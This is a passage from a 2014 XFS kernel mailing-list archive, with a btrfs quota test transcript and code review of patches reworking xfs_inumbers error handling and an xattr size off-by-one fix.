if=/dev/zero of=/test8/file1 bs=10M count=1 >>> dd: error writing '/test8/file1': Disk quota exceeded >>> 1+0 records in >>> 0+0 records out >>> 5160960 bytes (5.2 MB) copied, 0.012274 s, 420 MB/s >>> # ls -ls /test8/file1 >>> 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 >>> # truncate -s 0 /test8/file1 >>> truncate: failed to truncate '/test8/file1' at 0 bytes: Disk quota exceeded >>> # ls -ls /test8/file1 >>> 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 >>> # dd if=/dev/zero of=/test8/file1 bs=4M count=1 >>> dd: failed to open '/test8/file1': Disk quota exceeded >>> # ls -ls /test8/file1 >>> 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 >>> # >>> >>> --------------------------------------------------------------- >>> >>> # mkfs.btrfs -f /dev/sdc2 >>> >>> WARNING! - Btrfs v3.12 IS EXPERIMENTAL >>> WARNING! - see http://btrfs.wiki.kernel.org before using >>> >>> Turning ON incompat feature 'extref': increased hardlink limit per file to 65536 >>> fs created label (null) on /dev/sdc2 >>> nodesize 16384 leafsize 16384 sectorsize 4096 size 9.31GiB >>> Btrfs v3.12 >>> # mount /dev/sdc2 /test8 >>> # btrfs quota enable /test8 >>> # btrfs qgroup limit 5M /test8 >>> # dd if=/dev/zero of=/test8/file1 bs=10M count=1 >>> dd: error writing '/test8/file1': Disk quota exceeded >>> 1+0 records in >>> 0+0 records out >>> 5160960 bytes (5.2 MB) copied, 0.0120232 s, 429 MB/s >>> # ls -ls /test8/file1 >>> 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 >>> # btrfs filesystem sync /test8 >>> FSSync '/test8' >>> # truncate -s 0 /test8/file1 >>> # ls -ls /test8/file1 >>> 0 -rw-r--r-- 1 root root 0 Jan 7 09:54 /test8/file1 >>> # dd if=/dev/zero of=/test8/file1 bs=4M count=1 >>> 1+0 records in >>> 1+0 records out >>> 4194304 bytes (4.2 MB) copied, 0.00734557 s, 571 MB/s >>> # ls -ls /test8/file1 >>> 4096 -rw-r--r-- 1 root root 4194304 Jan 7 09:54 /test8/file1 >>> # >>> >>> =============================================================== >>> >>> Thanks, >>> Tsutomu >>> >>>> # btrfs qgroup limit none /mnt <------------- in case we are nearly full >>>> and we can not delete file. >>>> # rm -rf /mnt/data && btrfs filesystem sync /mnt >>>> # btrfs qgroup limit 5m /mnt >>>> # dd if=/dev/zero of=/mnt bs=4m count=1 >>>> >>>> Please correct me if i miss something here.^_^ >>>> >>>> Thanks, >>>> Wang >>>>> Thanks, >>>>> Tsutomu >>>>> >>>>>> } >>>>>> >>>>>> _scratch_mkfs > /dev/null 2>&1 >>>>>> > > From jeff.liu@oracle.com Tue Jan 7 00:58:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B82117F37 for ; Tue, 7 Jan 2014 00:58:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id AA6A38F8035 for ; Mon, 6 Jan 2014 22:58:28 -0800 (PST) X-ASG-Debug-ID: 1389077906-04cb6c537dc5cd70001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 7BYl7EvCYiFxgNG4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 06 Jan 2014 22:58:26 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s076wPJt021817 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Jan 2014 06:58:25 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s076wON7026612 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 7 Jan 2014 06:58:25 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s076wObd006519; Tue, 7 Jan 2014 06:58:24 GMT Received: from [192.168.1.106] (/123.119.105.155) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 06 Jan 2014 22:58:23 -0800 Message-ID: <52CBA58B.30504@oracle.com> Date: Tue, 07 Jan 2014 14:58:19 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Brian Foster , "xfs@oss.sgi.com" Subject: Re: [PATCH 3/10] xfs: consolidate xfs_inumbers References: <52BEB3FA.5080402@oracle.com> <52C72362.2000005@redhat.com> <52CA4BDB.7010804@oracle.com> <52CAC622.2020805@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 3/10] xfs: consolidate xfs_inumbers In-Reply-To: <52CAC622.2020805@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1389077906 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143819 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/06 2014 23:05 PM, Brian Foster wrote: > On 01/06/2014 01:23 AM, Jeff Liu wrote: >> On 01/04 2014 04:53 AM, Brian Foster wrote: >>> On 12/28/2013 06:20 AM, Jeff Liu wrote: >>>> From: Jie Liu >>>> >>>> To fetch the file system number tables, we currently just ignore the >>>> errors and proceed to loop over the next AG or bump agino to the next >>>> chunk in case of btree operations failed, that is not properly because >>>> those errors might hint us potential file system problems. >>>> >>>> This patch rework xfs_inumbers() to handle the btree operation errors >>>> as well as the loop conditions. Also, add pre-checkups for the given >>>> inode, we can save alloc/free the format buffer once against an invalid >>>> inode number. >>>> >>>> Signed-off-by: Jie Liu >>>> --- >>>> fs/xfs/xfs_itable.c | 163 +++++++++++++++++++++++----------------------------- >>>> 1 file changed, 72 insertions(+), 91 deletions(-) >>>> >>>> diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c >>>> index 692671c..4d262f6 100644 >>>> --- a/fs/xfs/xfs_itable.c >>>> +++ b/fs/xfs/xfs_itable.c > ... >>>> - error = xfs_inobt_get_rec(cur, &r, &i); >>>> - if (error || i == 0) { >>>> - xfs_buf_relse(agbp); >>>> - agbp = NULL; >>>> - xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); >>>> - cur = NULL; >>>> - agno++; >>>> - agino = 0; >>>> - continue; >>>> + error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_GE, &stat); >>>> + if (error) >>>> + break; >>> >>> Isn't this lookup only needed after cursor initialization? i.e., we >>> lookup once and increment through the records via xfs_btree_increment() >>> below. >> >> Yes, but please see my comments below. >>> > ... >>>> + if (!--left) >>>> + break; >>>> + >>>> + error = xfs_btree_increment(cur, 0, &stat); >>>> + if (error) >>>> + break; >>>> + if (stat) { >>>> + /* >>>> + * The agino value has already been bumped, just try >>>> + * to skip up to it. >>>> + */ >>>> + agino += XFS_INODES_PER_CHUNK; >>>> + continue; >>>> } >>> >>> Maybe it's just me, but this reads a little funny to me. In particular >>> because we only get here if stat == 1. I wonder if this would look a bit >>> cleaner if we pulled the next_ag labeled block below up into the goto, >>> since that appears to be the only reference. Then just let the loop fall >>> through. >> >> Actually, we would never hint xfs_btree_increment() at all no matter the default >> or with my current change, because the left variable value is 1 as per the user >> space imap implementation, thus, it should be decreased to 0 in this point. >> >> The problem is, how we define the user call interface originally, why it does not >> support a 2nd argument which can be used to specified a desired icount to return a >> limited number of inode mapping tables? i.e, >> >> imap_f() { >> >> if (argc != 2) >> nent = 1; >> else >> nent = atoi(argv[1]); >> >> .... >> } >> >> The imap command does not support another options but initialize bulkreq.icount = nent = 1; >> In kernel, the bcount is evaluated to 1 and if (bufidx == bcount) should be true anyway as >> below code logic: >> >> bcount = MIN(left, (int)(PAGE_SIZE / sizeof(*buffer))); >> >> if (bufidx == bcount) { >> .... >> formatter(); >> .... >> } > > Hi Jeff, Hi Brian, > > I see, but this is just a characteristic of the imap command in xfs_io. > I can use an argument just by changing argmax from 0 to 1. Perhaps this > is just a bug, since 'help imap' provides syntax that allows a parameter: > > xfs_io> help imap > imap [nentries] -- inode map for filesystem of current file I also thought we should fix the command usage in terms of the help menu, though I missed a long history of XFS development... > >> >> But, if the left value could be specified from the user progs, maybe we cannot simply >> assuming "stat == 1" is always be true, in particular, in next path for implementing >> per AG inumber mechanism, xfs_btree_increment() would probably succeed but "stat == 0" >> if there is no right neighbors, and if the user could specified the 2nd imap option. >> > > Hmm, that looked odd to me as well once you pointed that out. A quick > printk check shows that xfs_btree_increment() does not fail in this > scenario, but the subsequent xfs_inobt_get_rec() in the following > iteration sets i == 0 and skips to the next ag appropriately. I agree > that a tmp == 0 check in this scenario would be slightly more intuitive > though. > > But either way, we should probably maintain the general algorithm of > walking the btree explicitly rather than incrementing agino and issuing > the lookup each iteration of the loop. > >> Hence, in this patch, I only intended to fix the btree error handling mechanism as a >> preparation step to implement per AG inumber. >> > > Right... I see that the following patches clean this up further (though > I haven't looked in detail yet). > >>> >>> Also, I think the agino addition here becomes unnecessary when the >>> lookup issue above is addressed. >>> >>>> - } >>>> + >>>> +next_ag: >>>> + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); >>>> + cur = NULL; >>>> + xfs_buf_relse(agbp); >>>> + agbp = NULL; >>>> + agino = 0; >>>> + } while (++agno < mp->m_sb.sb_agcount); >>>> + >>> >>> ... and just thinking about the logic that way highlights the bug here, >>> where we bump agno due to the continue above (where IIUC, we intend to >>> only move forward within the ag). Perhaps the ++agno should be part of >>> the broken off 'next_ag' logic as well. >> >> Can you please point out a bit more about the bug? We bump agno due to >> current run out of the current AG but the user want to show more imaps. >> > > agno is bumped in the while condition at the end of the loop. This will > also be executed in the following block if xfs_btree_increment() > succeeds and finds a record to the right: > > error = xfs_btree_increment(cur, 0, &stat); > if (error) > break; > if (stat) { > ... > agino += XFS_INODES_PER_CHUNK; > ------> continue; > } > > The continue statement will execute the loop condition to determine > whether it should iterate the loop again or break. In this case, you're > still moving along the original AG, but agno has been bumped > erroneously. This error looks to be hidden by the non-looping scenario > where nentries is 1, but make the xfsprogs fix I described above and > you'll probably see what I'm describing. I only see a subset of the > original imap output using a record count of 10 on an fs with a couple > thousand inodes spread across a couple AGs. > > FWIW, it does look like the following patch fixes this particular > problem via the introduction of xfs_perag_inumbers(), but we shouldn't > introduce transient errors into the patch stream if we can help it. Thanks for your so much detailed clarifications, now I can see what you mean. :) and Yep, that is really a problem should be fixed here. > It looks like the comments about the repeated inobt lookups still apply > though (and the implementation as of patch 4 is still skipping inodes > with nentries > 1, perhaps due to advancing agino multiple times per > iteration..?). Hmm...,now I think it does not needed, and the forth patch would be changed in next round of post just as you pointed out, i.e, the xfs_inobt_lookup() only need to call once, and then it could be moved out of the loop, and the agino don't need to bump again so, an increased patch against [patch 4] would looks like below: diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index 764e169..ff7efaf 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -595,6 +595,7 @@ xfs_perag_inumbers( struct xfs_agi *agi; struct xfs_buf *agbp; struct xfs_btree_cur *cur; + int stat; int error; error = xfs_ialloc_read_agi(mp, NULL, agno, &agbp); @@ -602,14 +603,13 @@ xfs_perag_inumbers( return error; agi = XFS_BUF_TO_AGI(agbp); cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno); + /* Done if failed to lookup or no inode chuck is found */ + error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_GE, &stat); + if (error || stat == 0) + goto error0; + for (;;) { struct xfs_inobt_rec_incore r; - int stat; - - /* Done if failed to lookup or no inode chuck is found */ - error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_GE, &stat); - if (error || stat == 0) - break; error = xfs_inobt_get_rec(cur, &r, &stat); if (error) @@ -629,9 +629,9 @@ xfs_perag_inumbers( error = formatter(ubuffer, buffer, bufidx, &written); if (error) break; - ubuffer += written; count += bufidx; bufidx = 0; + break; } if (!--ubleft) break; @@ -641,12 +641,6 @@ xfs_perag_inumbers( /* Done if failed or there are no rightward entries */ break; } - - /* - * The agino value has already been bumped. Just try to skip - * up to it. - */ - agino += XFS_INODES_PER_CHUNK; } if (!error) { Above temporary patch is just for demonstration purpose, I'll run extra tests combine with your xfs_io/imap fix. Thanks, -Jeff From jeff.liu@oracle.com Tue Jan 7 01:02:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A15687F37 for ; Tue, 7 Jan 2014 01:02:21 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id EC036AC006 for ; Mon, 6 Jan 2014 23:02:17 -0800 (PST) X-ASG-Debug-ID: 1389078136-04cb6c537cc5d000001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 4NIseM8ZqQq10mcv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Mon, 06 Jan 2014 23:02:16 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s0772FlK025485 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Jan 2014 07:02:15 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0772EOO011152 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 7 Jan 2014 07:02:15 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0772Eke015105; Tue, 7 Jan 2014 07:02:14 GMT Received: from [192.168.1.106] (/123.119.105.155) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 06 Jan 2014 23:02:14 -0800 Message-ID: <52CBA673.2090102@oracle.com> Date: Tue, 07 Jan 2014 15:02:11 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Mark Tinguely CC: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: fix off-by-one error in xfs_attr3_rmt_verify References: <52C3FBC3.3050304@oracle.com> <52CABFD1.70100@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix off-by-one error in xfs_attr3_rmt_verify In-Reply-To: <52CABFD1.70100@sgi.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1389078136 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143819 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/06 2014 22:38 PM, Mark Tinguely wrote: > On 01/01/14 05:28, Jeff Liu wrote: >> From: Jie Liu >> >> With CRC check is enabled, if trying to set an attributes value just >> equal to the maximum size of XATTR_SIZE_MAX would cause the v3 remote >> attr write verification procedure failure, which would yield the back >> trace like below: >> >> >> XFS (sda7): Internal error xfs_attr3_rmt_write_verify at line 191 of >> file fs/xfs/xfs_attr_remote.c >> >> Call Trace: >> >> Tests: >> setfattr -n user.longxattr -v `perl -e 'print "A"x65536'` testfile >> >> This patch fix it to check the remote EA size is greater than the >> XATTR_SIZE_MAX rather than more than or equal to it, because it's >> valid if the specified EA value size is equal to the limitation as >> per VFS setxattr interface. >> >> Signed-off-by: Jie Liu >> --- > > Good catch. Are you making an edge case xfstest? I plan to introduce a particular test case into generic subclass. Thanks, -Jeff From jeff.liu@oracle.com Tue Jan 7 01:08:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 57AF57F3F for ; Tue, 7 Jan 2014 01:08:37 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3092230406B for ; Mon, 6 Jan 2014 23:08:34 -0800 (PST) X-ASG-Debug-ID: 1389078511-04bdf0568e10c960001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id AG9KaKkQisBcB86a (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 06 Jan 2014 23:08:32 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s0778VCr013772 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 7 Jan 2014 07:08:31 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0778UeU001053 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 7 Jan 2014 07:08:30 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0778TSw024704 for ; Tue, 7 Jan 2014 07:08:29 GMT Received: from [192.168.1.106] (/123.119.105.155) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 06 Jan 2014 23:08:29 -0800 Message-ID: <52CBA7EA.8090509@oracle.com> Date: Tue, 07 Jan 2014 15:08:26 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: Re: [PATCH 4/10] xfs: implement xfs_perag_inumbers References: <52BEB408.6040906@oracle.com> X-ASG-Orig-Subj: Re: [PATCH 4/10] xfs: implement xfs_perag_inumbers In-Reply-To: <52BEB408.6040906@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1389078512 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143819 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- As per the discussion with Brain in "[PATCH 3/10] xfs: consolidate xfs_inumbers", Please ignore this patch since it need a distinct fix. Thanks, -Jeff On 12/28 2013 19:20 PM, Jeff Liu wrote: > From: Jie Liu > > Introduce xfs_perag_inumbers(), it could be used to fetch inode inode > number tables per allocation group via a new ioctl(2) in the future. > Also, that would be a net win considering the scalability for a file > system with huge number of inodes as multiple allocation groups can be > scanned in parallel. > > Refactor xfs_inumbers() with it. > > Signed-off-by: Jie Liu > --- > fs/xfs/xfs_itable.c | 175 +++++++++++++++++++++++++++++++++------------------- > fs/xfs/xfs_itable.h | 13 +++- > 2 files changed, 121 insertions(+), 67 deletions(-) > > diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c > index 4d262f6..b890d1f 100644 > --- a/fs/xfs/xfs_itable.c > +++ b/fs/xfs/xfs_itable.c > @@ -569,51 +569,42 @@ xfs_inumbers_fmt( > } > > /* > - * Return inode number table for the filesystem. > + * Return inode number table in an allocation group. Record how many elements > + * have been written out and update the last allocation group inode number on > + * success. Otherwise, those values will remain the same and return error. > */ > -int /* error status */ > -xfs_inumbers( > - struct xfs_mount *mp,/* mount point for filesystem */ > - xfs_ino_t *lastino,/* last inode returned */ > - int *count,/* size of buffer/count returned */ > - void __user *ubuffer,/* buffer with inode desc */ > +static int > +xfs_perag_inumbers( > + struct xfs_mount *mp, > + struct xfs_aginumbers *aip, > + struct xfs_inogrp *buffer, > + int bcount, > inumbers_fmt_pf formatter) > { > - xfs_agnumber_t agno = XFS_INO_TO_AGNO(mp, *lastino); > - xfs_agino_t agino = XFS_INO_TO_AGINO(mp, *lastino); > - int left = *count; > - struct xfs_btree_cur *cur = NULL; > - struct xfs_buf *agbp = NULL; > - struct xfs_inogrp *buffer; > - int bcount; > - int bufidx; > + xfs_agnumber_t agno = aip->ai_agno; > + xfs_agino_t agino = *(aip->ai_lastip); > + char *ubuffer = aip->ai_ubuffer; > + int ubleft = aip->ai_icount; > + int bufidx = 0; > + long count = 0;/* # elements written out */ > + struct xfs_agi *agi; > + struct xfs_buf *agbp; > + struct xfs_btree_cur *cur; > int error; > > - *count = 0; > - if (agno >= mp->m_sb.sb_agcount || > - *lastino != XFS_AGINO_TO_INO(mp, agno, agino)) > - return 0; > - > - bcount = MIN(left, (int)(PAGE_SIZE / sizeof(*buffer))); > - buffer = kmem_alloc(bcount * sizeof(*buffer), KM_SLEEP); > - bufidx = error = 0; > - do { > + error = xfs_ialloc_read_agi(mp, NULL, agno, &agbp); > + if (error) > + return error; > + agi = XFS_BUF_TO_AGI(agbp); > + cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno); > + for (;;) { > struct xfs_inobt_rec_incore r; > int stat; > > - if (!agbp) { > - error = xfs_ialloc_read_agi(mp, NULL, agno, &agbp); > - if (error) > - break; > - cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno); > - } > + /* Done if failed to lookup or no inode chuck is found */ > error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_GE, &stat); > - if (error) > + if (error || stat == 0) > break; > - if (!stat) { > - /* Done, proceed to look up the next AG */ > - goto next_ag; > - } > > error = xfs_inobt_get_rec(cur, &r, &stat); > if (error) > @@ -621,59 +612,113 @@ xfs_inumbers( > XFS_WANT_CORRUPTED_GOTO(stat == 1, error0); > > agino = r.ir_startino + XFS_INODES_PER_CHUNK - 1; > - buffer[bufidx].xi_startino = > - XFS_AGINO_TO_INO(mp, agno, r.ir_startino); > - buffer[bufidx].xi_alloccount = > - XFS_INODES_PER_CHUNK - r.ir_freecount; > + buffer[bufidx].xi_startino = XFS_AGINO_TO_INO(mp, agno, > + r.ir_startino); > + buffer[bufidx].xi_alloccount = XFS_INODES_PER_CHUNK - > + r.ir_freecount; > buffer[bufidx].xi_allocmask = ~r.ir_free; > - if (++bufidx == bcount) { > + /* Run out of the given buffer range, it's time to write out */ > + if (++bufidx == ubleft) { > long written; > + > error = formatter(ubuffer, buffer, bufidx, &written); > if (error) > break; > ubuffer += written; > - *count += bufidx; > + count += bufidx; > bufidx = 0; > } > - if (!--left) > + if (!--ubleft) > break; > > error = xfs_btree_increment(cur, 0, &stat); > - if (error) > + if (error || stat == 0) { > + /* Done if failed or there are no rightward entries */ > break; > - if (stat) { > - /* > - * The agino value has already been bumped, just try > - * to skip up to it. > - */ > - agino += XFS_INODES_PER_CHUNK; > - continue; > } > > -next_ag: > - xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); > - cur = NULL; > - xfs_buf_relse(agbp); > - agbp = NULL; > - agino = 0; > - } while (++agno < mp->m_sb.sb_agcount); > + /* > + * The agino value has already been bumped. Just try to skip > + * up to it. > + */ > + agino += XFS_INODES_PER_CHUNK; > + } > > if (!error) { > + /* > + * There might have remaining inode number tables reside in > + * buffer which have not yet been written out if we iterate > + * beyond inode btree. We need to handle them separately. > + */ > if (bufidx) { > long written; > + > error = formatter(ubuffer, buffer, bufidx, &written); > - if (!error) > - *count += bufidx; > + if (error) > + goto error0; > + count += bufidx; > } > - *lastino = XFS_AGINO_TO_INO(mp, agno, agino); > + /* Update the last AG inode number */ > + *(aip->ai_lastip) = agino; > + /* Record how many elements have been written out */ > + aip->ai_ocount = count; > } > > error0: > + xfs_btree_del_cursor(cur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); > + xfs_buf_relse(agbp); > + > + return error; > +} > + > +/* Return inode number table for the filesystem */ > +int > +xfs_inumbers( > + struct xfs_mount *mp,/* mount point for filesystem */ > + xfs_ino_t *lastinop,/* last inode returned */ > + int *ubcountp,/* size of buffer/count returned */ > + void __user *ubuffer,/* buffer with inode desc */ > + inumbers_fmt_pf formatter) > +{ > + xfs_agnumber_t agno = XFS_INO_TO_AGNO(mp, *lastinop); > + xfs_agino_t agino = XFS_INO_TO_AGINO(mp, *lastinop); > + int ubleft = *ubcountp; > + struct xfs_inogrp *buffer; > + int count; > + int error; > + > + *ubcountp = 0; > + if (agno >= mp->m_sb.sb_agcount || > + *lastinop != XFS_AGINO_TO_INO(mp, agno, agino)) > + return 0; > + > + count = MIN(ubleft, (int)(PAGE_SIZE / sizeof(*buffer))); > + buffer = kmem_alloc(count * sizeof(*buffer), KM_SLEEP); > + do { > + struct xfs_aginumbers ai; > + > + ai.ai_agno = agno; > + ai.ai_lastip = &agino; > + ai.ai_icount = ubleft; > + ai.ai_ubuffer = ubuffer; > + ai.ai_ocount = 0; > + error = xfs_perag_inumbers(mp, &ai, buffer, count, formatter); > + if (error) > + break; > + > + *ubcountp += ai.ai_ocount; > + ubleft -= ai.ai_ocount; > + ASSERT(ubleft >= 0); > + if (!ubleft) > + break; > + > + ubuffer = ai.ai_ubuffer; > + agino = 0; > + } while (++agno < mp->m_sb.sb_agcount); > + > + if (!error) > + *lastinop = XFS_AGINO_TO_INO(mp, agno, agino); > + > kmem_free(buffer); > - if (cur) > - xfs_btree_del_cursor(cur, (error ? XFS_BTREE_ERROR : > - XFS_BTREE_NOERROR)); > - if (agbp) > - xfs_buf_relse(agbp); > return error; > } > diff --git a/fs/xfs/xfs_itable.h b/fs/xfs/xfs_itable.h > index 60ce988..f78bbcf 100644 > --- a/fs/xfs/xfs_itable.h > +++ b/fs/xfs/xfs_itable.h > @@ -83,17 +83,26 @@ xfs_bulkstat_one( > > typedef int (*inumbers_fmt_pf)( > void __user *ubuffer, /* buffer to write to */ > - const xfs_inogrp_t *buffer, /* buffer to read from */ > + const struct xfs_inogrp *buffer, /* buffer to read from */ > long count, /* # of elements to read */ > long *written); /* # of bytes written */ > > int > xfs_inumbers_fmt( > void __user *ubuffer, /* buffer to write to */ > - const xfs_inogrp_t *buffer, /* buffer to read from */ > + const struct xfs_inogrp *buffer, /* buffer to read from */ > long count, /* # of elements to read */ > long *written); /* # of bytes written */ > > +/* This structure is used for xfs_inumbers per allocation group */ > +struct xfs_aginumbers { > + xfs_agnumber_t ai_agno;/* AG number */ > + xfs_agino_t *ai_lastip;/* last AG inode number */ > + char __user *ai_ubuffer;/* user buffer to write to */ > + __uint32_t ai_icount;/* # of elements to read */ > + __uint32_t ai_ocount;/* # of elements written */ > +}; > + > int /* error status */ > xfs_inumbers( > xfs_mount_t *mp, /* mount point for filesystem */ > From jeff.liu@oracle.com Tue Jan 7 01:28:35 2014 